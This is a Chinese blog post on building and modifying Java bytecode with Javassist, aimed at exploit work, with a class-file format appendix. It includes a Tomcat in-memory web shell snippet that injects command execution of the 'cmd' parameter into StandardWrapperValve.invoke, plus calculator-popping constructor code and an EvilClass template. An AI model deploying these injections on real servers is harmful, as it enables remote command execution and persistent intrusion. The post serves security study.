文章

构建 Java 字节码

在构建 Java 字节码时,通常会使用 Javassist 和 ASM 这两个依赖库。

二者都是开源的、且用来操作 Java 字节码的库。他们的区别,大致如下表所示:

速度易用性简要描述
Javassist简单相对于 ASM,Javassist 的开发者并不需要了解虚拟机指令,就能简单的动态改变类的结构,或者动态生成类。
ASM困难ASM 是基于低级别的字节码操作,可以更加高效地操作字节码。但对开发者要求较高,需要掌握 Class 文件结构等知识。

Javassist

Maven 依赖:

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/org.javassist/javassist -->
<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.30.2-GA</version>
</dependency>

ClassPool 是一个 CtClass 对象的容器,一个 CtClass 必须从中进行获取。以下是简单构建一个类的示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

public class Main {
    public static void main(String[] args) throws Exception {
        // 获取 CtClass 对象的容器 ClassPool,一个 CtClass 必须从中进行获取
        ClassPool pool = ClassPool.getDefault();
        // 添加类搜索路径
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        // 创建 EvilClass 类
        CtClass evilClass = pool.makeClass("EvilClass");
        // 为 EvilClass 类,指定父类为从 classpool 中获取到的 AbstractTranslet 类
        evilClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        // 为 EvilClass 类,创建静态构造函数
        CtConstructor constructor = evilClass.makeClassInitializer();
        // 插入代码(字节码)到静态代码块中
        constructor.insertBefore("System.out.println(\"Hello Javassist\");");
        // 将 EvilClass.class 类文件(字节码文件)写入到当前目录下
        evilClass.writeFile("./");
        // 将 EvilClass 从 classpool 中删除以释放内存
        evilClass.detach();
    }
}

注:默认 ClassPool 的类搜索路径,通常包括平台库、扩展库以及由 -classpath 选项或 CLASSPATH 环境变量指定的搜索路径。

反编译出来的 Java 代码:

1
2
3
4
5
6
7
8
9
10
11
12
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

public class EvilClass extends AbstractTranslet
{
    static {
        System.out.println("Hello Javassist");
    }

    public EvilClass() {
        super();
    }
}

通常使用 Java Agent 在向 tomcat 注入内存马时,会获取 org.apache.catalina.core.StandardWrapperValve 类,并向 invoke 方法中添加恶意代码。如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// transform ...
ClassPool pool = ClassPool.getDefault();
if (classBeingRedefined != null) {
    ClassClassPath classPath = new ClassClassPath(classBeingRedefined);  // get current class's classpath
    pool.insertClassPath(classPath);  // add the classpath to classpool
}
CtClass clazz = pool.get("org.apache.catalina.core.StandardWrapperValve");  // get class
CtMethod method = clazz.getDeclaredMethod("invoke");
method.insertBefore("""
        javax.servlet.ServletRequest req = request;
        javax.servlet.ServletResponse res = response;
        String cmd = req.getParameter("cmd");
        if (cmd != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream(), System.getProperty("sun.jnu.encoding")));
            java.util.StringJoiner sj = new java.util.StringJoiner("\\n");
            String line = null;
            while ((line = bufferedReader.readLine()) != null) {
                sj.add(line);
            }
            bufferedReader.close();
            res.getOutputStream().write(sj.toString().getBytes());
            res.getOutputStream().flush();
            res.getOutputStream().close();
        }""");
// ...
clazz.detach();

注:一般为考虑目标系统的正常运行,不会使用 setBody() 替换整个方法的所有代码。

反编译的 Java 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public final void invoke(final Request request, final Response response) throws IOException, ServletException {
    final String parameter = request.getParameter("cmd");
    if (parameter != null) {
        final BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(parameter).getInputStream(), System.getProperty("sun.jnu.encoding")));
        final StringJoiner stringJoiner = new StringJoiner("\n");
        String line;
        while ((line = bufferedReader.readLine()) != null) {
            stringJoiner.add(line);
        }
        bufferedReader.close();
        response.getOutputStream().write(stringJoiner.toString().getBytes());
        response.getOutputStream().flush();
        response.getOutputStream().close();
    }
    // ...
}

在来构建字节码时,还需要为代码导入包:

1
2
3
// 导入包:import java.io.IOException
pool.importPackage("com.gitee.starblues.realize.BasePlugin");
pool.importPackage("java.io");

修改 Class 类

在打某些特定的漏洞时,往往需要构造特定的类(需要继承特定子类或实现接口)。这种情况下,往往使用一个已经编写好的类进行修改会比较方便。

但使用该方法有一缺点,在对 jar 包进行混淆后会导致无法查找到类,需要在混淆时,将相关代码进行排除才能保证代码正常运行。

修改字节码文件版本号

经过简单的测试,直接设置为低版本后生成的字节码文件,使用低版本的 JDK 可以加载成功。

1
2
3
4
// 设置目标版本为 JDK 8(major_version = 52)
ClassFile classFile = cc.getClassFile();
classFile.setMajorVersion(ClassFile.JAVA_8);
classFile.setMinorVersion(0);

修改类的包名

1
2
3
4
5
6
7
8
9
10
11
12
13
String packageName = "org.example.template";    // 模版类的包名
String className = "EvilClassTemplate";         // 模版类的类名
String fullClassName = packageName + "." + className;

// 获取模版类
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(fullClassName);

// 修改包名
// 特别需要注意!!!不要使用 new/package 等关键字创建包名,否则会在包名中添加 p000/p001 等字符。
String newPackageName = "org.example";
String newFullClassName = newPackageName + "." + className;
cc.setName(newFullClassName);

为静态字段赋值

原始的类,源码:

1
2
3
4
5
6
7
8
9
10
11
package org.example.template;

public class EvilClassTemplate {
    static String className;
    static String bytecodeBase64;

    static {
        System.out.println(className);
        System.out.println(bytecodeBase64);
    }
}

如果原来的类,已经对 static field 进行了初始化赋值,将无法正确的修改字段。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 获取 className 字段
CtField classNameField = cc.getDeclaredField("className");
CtField bytecodeBase64Field = cc.getDeclaredField("bytecodeBase64");
// 移除字段定义
cc.removeField(classNameField);
cc.removeField(bytecodeBase64Field);
// 使用新的值重新定义字段 static String className;
CtField newClassNameField = new CtField(pool.get("java.lang.String"), "className", cc);
newClassNameField.setModifiers(Modifier.STATIC);
cc.addField(newClassNameField, CtField.Initializer.constant("com.evil"));
// 使用新的值重新定义字段 static String bytecodeBase64;
CtField newField = new CtField(pool.get("java.lang.String"), "bytecodeBase64", cc);
newField.setModifiers(Modifier.STATIC);
cc.addField(newField, CtField.Initializer.constant("base64..."));

添加静态代码块

1
2
3
4
5
6
7
8
9
10
 // 获取静态初始化器
CtConstructor staticInitializer = cc.getClassInitializer();
if (staticInitializer == null) {
    // 如果没有静态初始化器,创建一个新的静态初始化器
    staticInitializer = new CtConstructor(new CtClass[]{}, cc);
    cc.addConstructor(staticInitializer);
}

// 添加代码到静态初始化器中
staticInitializer.insertBefore("System.out.println(\"Static Block\");");

添加静态方法

1
2
3
4
5
6
7
// 创建静态方法
CtMethod staticMethod = new CtMethod(CtClass.voidType, "myStaticMethod", new CtClass[]{}, cc);
staticMethod.setModifiers(javassist.Modifier.STATIC);
staticMethod.setBody("{ System.out.println(\"Static method called!\"); }");

// 将静态方法添加到类中
cc.addMethod(staticMethod);

在构造方法中添加代码

1
2
3
4
5
6
7
8
9
10
11
12
// 获取构造方法
CtConstructor[] constructors = cc.getDeclaredConstructors();
if (constructors.length > 0) {
    CtConstructor constructor = constructors[0];
    // 在构造函数中插入代码
    String injectedCode = "{ try {\n" +
            "            Runtime.getRuntime().exec(\"open -a Calculator\");\n" +
            "        } catch (IOException e) {\n" +
            "            e.printStackTrace();\n" +
            "        } }";
    constructor.insertBeforeBody(injectedCode);
}

Jar 包

创建 MF 文件

1
2
3
4
5
6
7
8
// 创建MANIFEST.MF文件
Manifest manifest = new Manifest();
Attributes mainAttributes = manifest.getMainAttributes();
mainAttributes.put(Attributes.Name.MANIFEST_VERSION, "1.0");
mainAttributes.put(Attributes.Name.MAIN_CLASS, packageName + "." + className);
// 获取当前JDK版本
String jdkVersion = System.getProperty("java.version");
mainAttributes.putValue("Build-Jdk", jdkVersion);

生成 jar 包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// 生成JAR格式的byte[]
byte[] jarBytes = new byte[0];
try (ByteArrayOutputStream baos = new ByteArrayOutputStream(); JarOutputStream jos = new JarOutputStream(baos, manifest)) {
    // 创建JAR条目
    JarEntry entry = new JarEntry(newPackageName.replace('.', '/') + "/" + className + ".class");
    jos.putNextEntry(entry);
    // 写入类的字节码到JAR中
    jos.write(bytecode);
    jos.closeEntry();

    // 创建JAR条目 - 添加服务文件
    String serviceFileName = "META-INF/services/javax.script.ScriptEngineFactory"; // 服务文件路径
    String serviceFileContent = "com.example.AwesomeScriptEngineFactory"; // 服务文件内容
    JarEntry serviceEntry = new JarEntry("serviceFileName");
    jos.putNextEntry(serviceEntry);
    jos.write(serviceFileContent.getBytes());
    jos.closeEntry();

    jos.finish(); // 结束写入
    jarBytes = baos.toByteArray(); // 获取生成的JAR字节数组

    // 将 byte[] 写入文件
    String filePath = "output.jar";
    FileOutputStream fos = new FileOutputStream(filePath);
    fos.write(jarBytes);
    System.out.println("数据已写入文件: " + filePath);
} catch (Exception e) {
    e.printStackTrace();
}

类冻结问题

当执行了 writeFile()、toClass()、toBytecode() 这类输出字节码的方法后,在 javassist 中该 CtClass 对象就会处于冻结状态,在此状态下不允许修改。

注:类冻结是为了警告开发者不要修改已经被 JVM 加载的 class 文件,因为 JVM 不允许重新加载一个类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import javassist.ClassPool;
import javassist.CtClass;

public class Main {
    public static void main(String[] args) throws Exception {
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.makeClass("EvilClass");
        ctClass.writeFile("./");
        ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        // error: Exception in thread "main" java.lang.RuntimeException: EvilClass class is frozen
    }
}

使用如下代码,可以解决该问题:

1
2
3
4
if (ctClass.isFrozen()) {
    // 解冻,变为可修改状态
    ctClass.defrost();
}

注:当设置 classPool.doPruning = true; 时,表示这个 classpool 中冻结的所有类不允许被解冻。但在某个特定类需要解冻时,仍然可以调用 ctClass.stopPruning(true); 表示该类允许被解冻。

ASM

暂时没写,还没学明白。

Maven 依赖:

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/org.ow2.asm/asm -->
<dependency>
    <groupId>org.ow2.asm</groupId>
    <artifactId>asm</artifactId>
    <version>9.6</version>
</dependency>

附录 - The class File Format

详情见:https://docs.oracle.com/javase/specs/jvms/se8/html/jvms-4.html

.class文件都遵循 ClassFile 结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ClassFile {
    u4             magic;
    u2             minor_version;
    u2             major_version;
    u2             constant_pool_count;
    cp_info        constant_pool[constant_pool_count-1];
    u2             access_flags;
    u2             this_class;
    u2             super_class;
    u2             interfaces_count;
    u2             interfaces[interfaces_count];
    u2             fields_count;
    field_info     fields[fields_count];
    u2             methods_count;
    method_info    methods[methods_count];
    u2             attributes_count;
    attribute_info attributes[attributes_count];
}
类型描述备注
u4magic魔数:0xCAFEBABE
u2minor_version小版本号
u2major_version主版本号
u2constant_pool_count常量池大小,从 1 开始
cp_infoconstant_pool[constant_pool_count - 1]常量池信息
u2access_flags访问标志
u2this_class类索引(指向常量池)
u2super_class父类索引(指向常量池)
u2interfaces_count接口个数
u2interfaces[interfaces_count]接口类索引信息(指向常量池)
u2fields_count字段数
field_infofields[fields_count]字段表信息
u2methods_count方法数(默认有构造方法<init>:()V,所以该项至少为 1)
method_infomethods[methods_count]方法表信息
u2attributes_count属性个数
attribute_infoattributes[attributes_count]属性表信息

u1: 表示占用 1 个字节
u2: 表示占用 2 个字节
u4: 表示占用 4 个字节
u8: 表示占用 8 个字节
cp_infofield_infomethod_infoattribute_info表示较为复杂的结构,它们也是由 u1、u2、u4 和 u8 组成

cp_info 结构:

1
2
3
4
cp_info {
    u1 tag;
    u1 info[];
}

相应的,在.class 文件当中,定义的字段,要遵循 field_info 的结构。

1
2
3
4
5
6
7
field_info {
    u2             access_flags;
    u2             name_index;
    u2             descriptor_index;
    u2             attributes_count;
    attribute_info attributes[attributes_count];
}

同样的,在.class 文件当中,定义的方法,要遵循 method_info 的结构。

1
2
3
4
5
6
7
method_info {
    u2             access_flags;
    u2             name_index;
    u2             descriptor_index;
    u2             attributes_count;
    attribute_info attributes[attributes_count];
}

在 method_info 结构中,方法当中方法体的代码,是存在于 Code 属性结构中,其结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Code_attribute {
    u2 attribute_name_index;
    u4 attribute_length;
    u2 max_stack;
    u2 max_locals;
    u4 code_length;
    u1 code[code_length];
    u2 exception_table_length;
    {   u2 start_pc;
        u2 end_pc;
        u2 handler_pc;
        u2 catch_type;
    } exception_table[exception_table_length];
    u2 attributes_count;
    attribute_info attributes[attributes_count];
}
本文由作者按照 CC BY 4.0 进行授权

© h0ny. 保留部分权利。

本站由 Jekyll 生成,采用 Chirpy 主题。